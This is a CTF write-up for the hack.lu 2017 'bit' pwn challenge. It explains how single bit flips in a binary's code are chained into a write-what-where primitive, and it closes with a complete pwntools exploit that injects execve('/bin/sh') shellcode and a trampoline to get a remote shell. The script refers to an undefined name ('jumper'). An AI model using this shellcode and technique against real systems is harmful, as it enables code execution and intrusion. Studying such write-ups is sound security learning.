2017/hack.lu/bit (pwn / 150pts)

“No matter what conspiracy theory you believe in - i believe that one wrong bit is enough to rule them all.”

“nc flatearth.fluxfingers.net 1744”

I found this challenge really fun, even if it took me some time to resolve it (still beginning at pwning), plus the fact that I was at work … :D

We are given a 64bit dynamically linked binary :

-> file bit
bit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped

On which we check for enabled security features :

-> checksec bit
[*] '/home/gov/hack/ctf/hack.lu/pwn_1/bit'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

And then start doing a static analysis on it :

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed __int64 result; // [email protected]
  _BYTE *v4; // [email protected]
  _BYTE *v5; // [email protected]
  __int64 canary_check; // [email protected]
  __int64 canary; // [sp+1038h] [bp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  if ( __isoc99_scanf("%lx:%u", &mem_dst, &value) == 2 )
  {
    if ( value <= 7 )
    {
      mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 7);

      *mem_dst ^= 1 << value;

      mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 5);
      result = 0LL;
    }
    else
    {
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    result = 0xFFFFFFFFLL;
  }
  canary_check = *MK_FP(__FS__, 40LL) ^ canary;
  return result;
}

The code generated by IDA is pretty straightforward to understand. The program wait for the user to enter two values separated by a colon => “%lx:%u”

The first value must be a long hexadecimal value. The second must be an unsigned integer and equal or below 7 to reach the branch where mprotect is called, else it quit.

Once corrects values are given, here’s what happen :

-> echo '400000:1' | strace -e mprotect,read ./bit 
....
....
read(0, "400000:1\n", 4096)             = 9
mprotect(0x400000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x400000, 4096, PROT_READ|PROT_EXEC) = 0
+++ exited with 0 +++

We can see the mprotect call which set the 0x400000 to PROT_READ|PROT_WRITE|PROT_EXEC aka 7 aka RWX. We also see that the flag is set to RX just after.

But between theses two mprotect call, we have :

*mem_dst ^= 1 << value;

So if we entered : 400000:5 It would write (content at address 0x400000) ^ (1 « 5) at 0x400000

So, what can we do with a restricted write “ANYWHERE” ? Lot of things.

Looping the CODE

The first thing we need to do is to loop the execution flow (by modyfing an opcode or a jump/call address), it will permit us to write more bytes, so we can get a shell.

Using this input :

400713:0

Which transform :

gef> x/3i 0x400710
   0x400710:	mov    rdi,rax
   0x400713:	call   0x400520 <[email protected]>
   0x400718:	mov    eax,0x0

to :

gef> x/3i 0x400710
   0x400710:	mov    rdi,rax
   0x400713:	jmp    0x400520 <[email protected]>
   0x400718:	mov    eax,0x0

Which I still don’t know why (fuzzed it), still haven’t debugged.

I also found another one way working.

Break the 2nd mprotect

Now that we can send multiples writes, let’s make our use of the first mprotect permanent. We can do that by “modyfying” the address of the jump to mprotect.

Using this input :

400714:7

Which transform :

    0x400713:	jmp    0x400520 <[email protected]>

to :

    0x400713:	jmp    0x4005a0

Here we jump near a ret by just changing one byte of the lower address. So it basically “disable” this mprotect :

gef> x/10i 0x4005a0
   0x4005a0:	pop    rbp
   0x4005a1:	ret            # end of mprotect

Bypass the allowed char range (0->7)

At this point, we are able to :

This is not enough (or is it ??) to exploit the binary, we need a write-what-where primitive to send a shellcode, because the range is too small, and because we can ;)

By modyfying the cmp instruction to allow any (almost) unsigned integer using this input :

40069d:7

Which modify :

    0x40069b:	cmp    eax,0x7

to

    0x40069b:	cmp    eax,0xffffff87

And allows us to write ANY bytes (from 0x0 to 0xff)

## Disable the left bit shifting ##

That would be done with : 4006ef:1

Which change :

 gef> x/5i 0x4006e7
   0x4006e7:	mov    edi,0x1
   0x4006ec:	shl    edi,cl
   0x4006ee:	mov    ecx,edi
   0x4006f0:	xor    edx,ecx
   0x4006f2:	mov    BYTE PTR [rax],dl

To :

gef> x/5i 0x4006e7
   0x4006e7:	mov    edi,0x1
   0x4006ec:	shl    edi,cl
   0x4006ee:	mov    ebx,edi
   0x4006f0:	xor    edx,ecx
   0x4006f2:	mov    BYTE PTR [rax],dl

If you look carefully at the code, will make the shl useless as the result is then stored to the ebx register which is not used.

3xpl0it that fun binary !

I easily guessed where I could send the shellcode.

0x600960 was a good candidate because it wasn’t used and just filled with null bytes (so I won’t have to bother xoring with the existing bytes)

The harder was to find a way to trigger the jump into the shellcode. I can only write one byte at time, so if I change an address in a jump instruction , once the program will “loop”, it will send us in the middle of nowhere :/

So I thought about it a little and found a way.

Let’s write our “trampoline” into a branch of the executable that we can trigger (like the char limitation) o/

We just have to write our trampoline at 0x40068b And use a number higher than 0xffffff87 to trigger it.

if ( value <= 0xffffff87 ) {
   mprotect stuff
} else {
   0x40068b : "push 0x600960 ; 
       ...     ret"
}

We will have to xor each byte we write with the actual value of the location we write to. Using pwn.ELF make suchs things easy.

But enough talk, here is the code :

from pwn import *
from sys import *
from time import sleep

if '-d' in argv:
    context.log_level=1

if '-r' in argv:
    s = remote('flatearth.fluxfingers.net',1744)
else:
    s = process(['/usr/bin/env','-','/home/gov/hack/ctf/hack.lu/pwn_1/bit'])


e=ELF('/home/gov/hack/ctf/hack.lu/pwn_1/bit')


sleep(.2)
s.send('400713:0' + '\n')    # Loop the prog
log.info('Binary looped!')

sleep(.2)
s.send('400714:7' + '\n')    # break mprotect reset
log.info('broke mprotect reset!')

sleep(.2)
s.send('40069d:7' + '\n')    # break char range
log.info('char range')

sleep(.2)
s.send('4006ef:1' + '\n')    # bypass shl \o/
log.info('disable shift')



sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

pos=0
for i in range(0x600960,0x600960+len(sc),1):
    byte=ord(sc[pos])
    s.send('{}:{}\n'.format( hex(i)[2:],byte))
    log.info('Writting {} at {}'.format(hex(byte),hex(i)))
    pos+=1


# push 0x600960 ; ret
trampoline="\x68\x60\x09\x60\x00\xc3"

# this zone is not empty so I have to xor with existing byte (thanks to pwn.ELF)
pos=0
for i in range(0x40068b,0x40068b+len(jumper),1):
    byte=ord(trampoline[pos]) ^ ord(e.read(i,1))
    s.send('{}:{}\n'.format( hex(i)[2:],byte))
    log.info('Writting {} at {}'.format(hex(byte),hex(i)))
    pos+=1


# trigger branching on 0x4006a0 where the trampoline is written
s.send('600000:999999999999999\n\n')
s.interactive()

Hope you liked it !

-govlog-